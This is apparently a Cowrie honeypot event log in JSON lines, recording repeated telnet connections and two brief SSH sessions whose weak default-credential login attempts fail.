{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":44108,"dst_ip":"10.17.0.5","dst_port":23,"session":"e71b66810de4","protocol":"telnet","message":"New connection: 103.247.216.2:44108 (10.17.0.5:23) [session: e71b66810de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:00.680748Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":44176,"dst_ip":"10.17.0.5","dst_port":23,"session":"050f02f89908","protocol":"telnet","message":"New connection: 103.247.216.2:44176 (10.17.0.5:23) [session: 050f02f89908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:00.726964Z"}
{"eventid":"cowrie.session.closed","duration":30.564997673034668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:01.226312Z","src_ip":"103.247.216.2","session":"ed267b2c8dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617717027664185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:01.274482Z","src_ip":"103.247.216.2","session":"40220aa9642a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26475715637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:02.221587Z","src_ip":"103.247.216.2","session":"5b79fe93df1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576725959777832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:02.249856Z","src_ip":"103.247.216.2","session":"7dce95d6a3f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65001893043518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:02.256403Z","src_ip":"103.247.216.2","session":"083df6f2c319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":47474,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a87c1c4f3cd","protocol":"telnet","message":"New connection: 103.247.216.2:47474 (10.17.0.5:23) [session: 5a87c1c4f3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:03.662894Z"}
{"eventid":"cowrie.session.closed","duration":30.57036566734314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:04.210098Z","src_ip":"103.247.216.2","session":"df370ad850dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616387367248535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:04.277635Z","src_ip":"103.247.216.2","session":"730f0fdd847c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50792,"dst_ip":"10.17.0.5","dst_port":23,"session":"103599441594","protocol":"telnet","message":"New connection: 103.247.216.2:50792 (10.17.0.5:23) [session: 103599441594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:06.655847Z"}
{"eventid":"cowrie.session.closed","duration":30.66638445854187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:07.316068Z","src_ip":"103.247.216.2","session":"c65c0094b62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a43acd76042","protocol":"telnet","message":"New connection: 103.247.216.2:50672 (10.17.0.5:23) [session: 5a43acd76042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:09.610087Z"}
{"eventid":"cowrie.session.closed","duration":30.560896396636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:10.220682Z","src_ip":"103.247.216.2","session":"8e1c3e919968","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567862272262573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:10.252920Z","src_ip":"103.247.216.2","session":"1a1abb7e91ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":55202,"dst_ip":"10.17.0.5","dst_port":23,"session":"31cfb28b0cff","protocol":"telnet","message":"New connection: 103.247.216.2:55202 (10.17.0.5:23) [session: 31cfb28b0cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:10.679946Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":55206,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6bcb4381a7","protocol":"telnet","message":"New connection: 103.247.216.2:55206 (10.17.0.5:23) [session: ae6bcb4381a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:10.690045Z"}
{"eventid":"cowrie.session.closed","duration":30.45765995979309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:11.196432Z","src_ip":"103.247.216.2","session":"e82c503a4bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":56314,"dst_ip":"10.17.0.5","dst_port":23,"session":"90724116779d","protocol":"telnet","message":"New connection: 103.247.216.2:56314 (10.17.0.5:23) [session: 90724116779d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:11.654544Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":56756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b40675f56318","protocol":"telnet","message":"New connection: 103.247.216.2:56756 (10.17.0.5:23) [session: b40675f56318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:12.035827Z"}
{"eventid":"cowrie.session.closed","duration":30.50926637649536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:12.215068Z","src_ip":"103.247.216.2","session":"bdec52e28b35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613821744918823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:12.256534Z","src_ip":"103.247.216.2","session":"0c2ea3c11e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c868e3aefe","protocol":"telnet","message":"New connection: 103.247.216.2:56312 (10.17.0.5:23) [session: 05c868e3aefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:12.655482Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":57472,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f428a3474d5","protocol":"telnet","message":"New connection: 103.247.216.2:57472 (10.17.0.5:23) [session: 0f428a3474d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:12.690230Z"}
{"eventid":"cowrie.session.closed","duration":30.56849765777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:13.231660Z","src_ip":"103.247.216.2","session":"ef0daeb8f506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":58312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62f963a3fd9","protocol":"telnet","message":"New connection: 103.247.216.2:58312 (10.17.0.5:23) [session: d62f963a3fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:13.533980Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"93fbf47efd35","protocol":"telnet","message":"New connection: 103.247.216.2:58428 (10.17.0.5:23) [session: 93fbf47efd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:13.651006Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":59430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3577275b4b","protocol":"telnet","message":"New connection: 103.247.216.2:59430 (10.17.0.5:23) [session: 2d3577275b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:14.658595Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":59978,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf8d03740be4","protocol":"telnet","message":"New connection: 103.247.216.2:59978 (10.17.0.5:23) [session: cf8d03740be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:15.294720Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34896,"dst_ip":"10.17.0.5","dst_port":23,"session":"75c675dd2ce1","protocol":"telnet","message":"New connection: 103.247.216.2:34896 (10.17.0.5:23) [session: 75c675dd2ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:18.632586Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":34940,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78b5704beea","protocol":"telnet","message":"New connection: 103.247.216.2:34940 (10.17.0.5:23) [session: d78b5704beea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:18.668272Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":36132,"dst_ip":"10.17.0.5","dst_port":23,"session":"681ad9a01df3","protocol":"telnet","message":"New connection: 103.247.216.2:36132 (10.17.0.5:23) [session: 681ad9a01df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:19.774108Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":36444,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac27e5889a0a","protocol":"telnet","message":"New connection: 103.247.216.2:36444 (10.17.0.5:23) [session: ac27e5889a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:20.052555Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":36566,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39347d1e7ae","protocol":"telnet","message":"New connection: 103.247.216.2:36566 (10.17.0.5:23) [session: e39347d1e7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:22.150572Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":39222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82d046e6f01","protocol":"telnet","message":"New connection: 103.247.216.2:39222 (10.17.0.5:23) [session: c82d046e6f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:22.649803Z"}
{"eventid":"cowrie.session.closed","duration":30.738429307937622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:25.379884Z","src_ip":"103.247.216.2","session":"ff68fa4f9032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737287521362305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:26.369143Z","src_ip":"103.247.216.2","session":"ce1962fb52c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":42514,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6fa90d19c48","protocol":"telnet","message":"New connection: 103.247.216.2:42514 (10.17.0.5:23) [session: a6fa90d19c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:26.391444Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":43348,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9354739605","protocol":"telnet","message":"New connection: 103.247.216.2:43348 (10.17.0.5:23) [session: ac9354739605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:27.409660Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":45582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5b4a7ea38a","protocol":"telnet","message":"New connection: 103.247.216.2:45582 (10.17.0.5:23) [session: ba5b4a7ea38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:29.705849Z"}
{"eventid":"cowrie.session.closed","duration":30.51475715637207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:30.230402Z","src_ip":"103.247.216.2","session":"252673d0d4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":46586,"dst_ip":"10.17.0.5","dst_port":23,"session":"de23c2ec0657","protocol":"telnet","message":"New connection: 103.247.216.2:46586 (10.17.0.5:23) [session: de23c2ec0657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:30.716395Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":46612,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f8c69df6514","protocol":"telnet","message":"New connection: 103.247.216.2:46612 (10.17.0.5:23) [session: 6f8c69df6514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:30.746783Z"}
{"eventid":"cowrie.session.closed","duration":30.53622794151306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:31.263084Z","src_ip":"103.247.216.2","session":"050f02f89908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58794140815735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:31.268551Z","src_ip":"103.247.216.2","session":"e71b66810de4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6115779876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:34.274363Z","src_ip":"103.247.216.2","session":"5a87c1c4f3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":50312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7da6c9f5e8","protocol":"telnet","message":"New connection: 103.247.216.2:50312 (10.17.0.5:23) [session: ce7da6c9f5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:34.722843Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":50720,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a6f759ac1b","protocol":"ssh","message":"New connection: 68.183.236.1:50720 (10.17.0.5:22) [session: 93a6f759ac1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:36.910201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:36.915861Z","src_ip":"68.183.236.1","session":"93a6f759ac1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:37.170776Z","src_ip":"68.183.236.1","session":"93a6f759ac1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.546090602874756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:37.201847Z","src_ip":"103.247.216.2","session":"103599441594","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"21","message":"login attempt [ubuntu/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:38.217989Z","src_ip":"68.183.236.1","session":"93a6f759ac1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48698,"dst_ip":"159.203.135.109","dst_port":22,"session":"93b78be10012","protocol":"ssh","message":"New connection: 159.203.92.129:48698 (159.203.135.109:22) [session: 93b78be10012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:38.535993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:38.541162Z","src_ip":"159.203.92.129","session":"93b78be10012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:38.546045Z","src_ip":"159.203.92.129","session":"93b78be10012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:38.562587Z","src_ip":"159.203.92.129","session":"93b78be10012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:39.474133Z","src_ip":"68.183.236.1","session":"93a6f759ac1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:39.569758Z","src_ip":"159.203.92.129","session":"93b78be10012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75143837928772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:40.361429Z","src_ip":"103.247.216.2","session":"5a43acd76042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545331478118896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:41.225129Z","src_ip":"103.247.216.2","session":"31cfb28b0cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540422677993774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:41.230344Z","src_ip":"103.247.216.2","session":"ae6bcb4381a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544467449188232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:42.198871Z","src_ip":"103.247.216.2","session":"90724116779d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18261218070984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:43.218356Z","src_ip":"103.247.216.2","session":"b40675f56318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59041714668274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:43.280592Z","src_ip":"103.247.216.2","session":"0f428a3474d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630472660064697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:43.285811Z","src_ip":"103.247.216.2","session":"05c868e3aefe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.565804481506348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:44.216691Z","src_ip":"103.247.216.2","session":"93fbf47efd35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92498803138733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:44.458824Z","src_ip":"103.247.216.2","session":"d62f963a3fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53241276741028,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:45.190892Z","src_ip":"103.247.216.2","session":"2d3577275b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":60932,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d966556808f","protocol":"telnet","message":"New connection: 103.247.216.2:60932 (10.17.0.5:23) [session: 3d966556808f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:45.672845Z"}
{"eventid":"cowrie.session.closed","duration":30.925546646118164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:46.220192Z","src_ip":"103.247.216.2","session":"cf8d03740be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d794e377cb8","protocol":"telnet","message":"New connection: 103.247.216.2:33546 (10.17.0.5:23) [session: 5d794e377cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:01:46.698523Z"}
